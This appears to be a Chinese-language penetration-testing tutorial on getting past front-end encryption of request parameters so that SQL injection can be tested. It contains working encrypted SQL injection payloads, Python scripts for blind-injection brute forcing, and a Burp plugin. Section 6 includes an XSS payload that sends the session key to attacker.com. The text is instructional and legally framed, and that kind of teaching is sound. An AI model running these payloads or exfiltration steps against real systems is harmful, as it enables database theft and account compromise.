1. 被前端加密的渗透测试挑战与突破当我们在渗透测试过程中遇到前端加密的请求参数时常规的测试方法往往会失效。最近我在测试一个金融类Web应用时就遇到了这样的场景——所有表单提交的数据都被前端JavaScript进行了AES加密传统的SQL注入测试工具完全无法识别有效载荷。这种情况在现代Web应用中越来越常见特别是涉及敏感数据的系统。前端加密的主要实现方式包括基于CryptoJS等库的AES/RSA加密自定义的混淆加密算法对特定参数进行哈希处理动态生成的加密密钥1.1 前端加密的识别方法要突破前端加密首先需要准确识别加密机制。我通常采用以下步骤使用浏览器开发者工具F12检查网络请求重点关注包含敏感数据的POST请求查看请求负载是否呈现规律性加密特征如固定长度、特定前缀等搜索前端JS代码中的加密关键词encrypt、cipher、AES等// 示例在Chrome开发者工具中搜索加密关键词 1. 打开目标网站 2. 按F12打开开发者工具 3. 切换到Sources标签页 4. 按CtrlShiftF全局搜索encrypt、AES等关键词1.2 加密逻辑逆向分析识别出加密函数后需要分析其具体实现。以常见的CryptoJS为例// 典型的CryptoJS AES加密代码 function encryptData(data) { var key CryptoJS.enc.Utf8.parse(1234567812345678); var iv CryptoJS.enc.Utf8.parse(1234567812345678); var encrypted CryptoJS.AES.encrypt( CryptoJS.enc.Utf8.parse(data), key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 } ); return encrypted.toString(); }分析这类代码时要注意密钥和IV的生成方式加密模式CBC/ECB等填充方案PKCS7等是否有动态密钥生成逻辑2. 突破前端加密的实战技巧2.1 使用浏览器控制台实时加密一旦理解了加密逻辑可以直接在浏览器控制台构造加密后的测试载荷// 在控制台直接调用加密函数 var testPayload admin OR 11--; var encryptedPayload encryptData(testPayload); console.log(encryptedPayload);然后将输出的加密字符串复制到Burp Suite等工具中进行重放测试。2.2 自动化加密处理对于需要批量测试的场景可以使用Python模拟加密过程from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def aes_encrypt(data, key, iv): cipher AES.new(key.encode(utf-8), AES.MODE_CBC, iv.encode(utf-8)) ct_bytes cipher.encrypt(pad(data.encode(utf-8), AES.block_size)) return base64.b64encode(ct_bytes).decode(utf-8) # 使用示例 key 1234567812345678 iv 1234567812345678 payload admin AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))-- encrypted aes_encrypt(payload, key, iv) print(f加密后的payload: {encrypted})2.3 动态密钥处理技巧有些系统会为每个会话生成不同的加密密钥通常可以通过以下方式获取在登录响应中查找密钥从HTML隐藏字段中提取分析密钥生成JS函数// 示例从页面元素获取动态密钥 var dynamicKey document.getElementById(encryptKey).value; console.log(当前会话密钥:, dynamicKey);3. 加密环境下的SQL注入实战3.1 布尔盲注技巧即使参数被加密只要服务器会解密处理传统的SQL注入技术仍然适用。以布尔盲注为例原始注入语句admin AND SUBSTRING((SELECT TOP 1 table_name FROM information_schema.tables),1,1)a--加密后测试步骤将上述语句用前端相同方式加密发送到服务器根据响应差异判断条件真假逐步爆破每个字符3.2 时间盲注实现当没有明显布尔差异时可以使用时间盲注import time import requests def test_time_based_injection(encrypted_payload): start_time time.time() requests.post(https://target.com/login, data{data: encrypted_payload}) elapsed time.time() - start_time return elapsed 5 # 假设5秒延迟为真 # 爆破第一个字符 for c in abcdefghijklmnopqrstuvwxyz: payload fadmin IF SUBSTRING((SELECT TOP 1 table_name FROM information_schema.tables),1,1){c} WAITFOR DELAY 0:0:5-- encrypted aes_encrypt(payload, key, iv) if test_time_based_injection(encrypted): print(f发现第一个字符: {c}) break3.3 报错注入技巧有些系统在SQL错误时会返回解密后的错误信息这为报错注入提供了可能admin AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))--加密后发送可能会在错误响应中直接看到数据库表名。4. 自动化测试工具集成4.1 Burp Suite插件开发可以开发自定义Burp插件自动处理加密public class CryptoProcessor implements IHttpListener { Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { if (messageIsRequest) { IRequestInfo requestInfo helpers.analyzeRequest(messageInfo); ListIParameter params requestInfo.getParameters(); for (IParameter param : params) { if (param.getName().equals(encryptedData)) { String decrypted decrypt(param.getValue()); String injected injectPayload(decrypted); String reencrypted encrypt(injected); byte[] newRequest helpers.updateParameter( messageInfo.getRequest(), helpers.buildParameter(param.getName(), reencrypted, param.getType()) ); messageInfo.setRequest(newRequest); } } } } private String encrypt(String data) { // 实现与前端一致的加密逻辑 } }4.2 使用Python自动化测试结合Requests和BeautifulSoup实现自动化测试流程import requests from bs4 import BeautifulSoup from crypto_utils import encrypt_data # 自定义加密模块 session requests.Session() # 第一步获取动态密钥 login_page session.get(https://target.com/login) soup BeautifulSoup(login_page.text, html.parser) encrypt_key soup.find(idencryptKey)[value] # 第二步构造并加密测试payload test_cases [ OR 11--, admin AND 1CONVERT(int,(SELECT version))--, 1 WAITFOR DELAY 0:0:5-- ] for payload in test_cases: encrypted encrypt_data(payload, encrypt_key) response session.post(https://target.com/login, data{data: encrypted}) analyze_response(response) # 自定义响应分析函数5. 防御措施与绕过技巧5.1 常见防御手段分析现代Web应用常用的前端加密防御包括每次请求使用不同的IV对加密结果添加时间戳验证关键操作需要二次验证加密密钥与用户会话绑定5.2 高级绕过技术对于复杂防御系统可以尝试密钥泄露利用通过XSS或其他漏洞获取加密密钥加密重放攻击截获合法加密请求后修改部分密文密码学攻击对弱加密实现进行暴力破解逻辑绕过寻找不依赖加密的备用接口// 示例通过原型链污染修改加密行为 Object.prototype.key hacked_key; // 之后所有加密操作都会使用被污染的key6. 实战案例金融系统渗透测试在一次对某银行系统的授权测试中我遇到了这样的场景所有表单数据使用RSAAES混合加密密钥每5分钟更换一次请求必须包含有效的时间戳签名解决方案通过DOM XSS漏洞获取当前会话密钥使用Python实现自动化密钥更新机制在Burp中配置动态参数处理脚本最终发现了一个严重的SQL注入漏洞可获取所有客户数据关键代码片段class KeyManager: def __init__(self, target_url): self.url target_url self.key None self.last_update 0 def get_current_key(self): if time.time() - self.last_update 300: # 5分钟更新一次 self.update_key() return self.key def update_key(self): # 通过XSS漏洞获取密钥的模拟代码 xss_payload scriptdocument.locationhttp://attacker.com/steal?keyencodeURIComponent(encryptKey);/script response requests.post(f{self.url}/search, data{q: xss_payload}) # 这里简化了实际过程真实场景需要更多步骤 self.key requests.get(http://attacker.com/latest_key).text self.last_update time.time()7. 法律与道德边界在进行任何渗透测试前必须获得明确的书面授权严格遵守测试范围限制不使用测试获取的数据及时报告发现的所有漏洞不公开披露未修复的漏洞重要提示本文所有技术仅限合法授权的安全测试使用。未经授权的系统测试可能违反法律。